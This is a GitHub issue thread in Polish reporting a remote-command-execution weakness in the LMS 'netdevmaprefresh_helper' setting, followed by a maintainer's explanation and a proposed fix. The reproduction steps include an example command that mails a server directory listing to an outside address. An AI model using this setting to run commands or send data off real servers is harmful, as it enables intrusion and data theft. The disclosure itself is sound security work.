lms icon indicating copy to clipboard operation
lms copied to clipboard

phpui.netdevmaprefresh_helper RCE

Open kosaa opened this issue 3 years ago • 2 comments

Opis błędu Osoba z dostępem do zmiany ustawień może wykonać dowolną komendę na serwerze na poziomie uprawnień serwera www.

Odtworzenie problemu

  1. ustaw phpui.netdevmaprefresh_helper polecenie do wykonania, np.: ls | mail -s "message subject" [email protected]
  2. wejdź na ?m=netdevmap
  3. kliknij odśwież na mapie

Dodatkowe informacje zapewne taka była intencja tej funkcji, żeby było elastycznie, ale na wszelki wypadek zgłaszam

kosaa avatar Feb 15 '22 22:02 kosaa

Dzięki za info. Sprawa jest znana od dawna, bo i założenie projektowe było takie, że pozwalamy w ramach takich ustawień jak to (i podobne np. phpui.ping_helper, phpui.arping_helper) podpięcie dowolnych poleceń wykonujących czarną robotą na serwerze. Jakimś rozwiązaniem mogłoby był zawężenie tego typu ustawień wyłącznie do określania parametrów uruchamianego na serwerze polecenie, a samo polecenie (pełna ścieżka) hardkodowane w PHP. Może nawet nie musiałaby być to pełna ścieżka, a po prostu nazwa skryptu, np. netdevmaprefresh.sh (wystarczyłoby, żeby taki skrypt był umieszczone w jednym z katalogów ze zmiennej środowiskiej PATH i zadziałałoby jak nalezy).

chilek avatar Feb 16 '22 08:02 chilek

hmm... możliwość uruchamiania skryptu wyłącznie z konkretnego katalogu na pierwszy rzut oka brzmi jak rozwiązanie

kosaa avatar Feb 16 '22 19:02 kosaa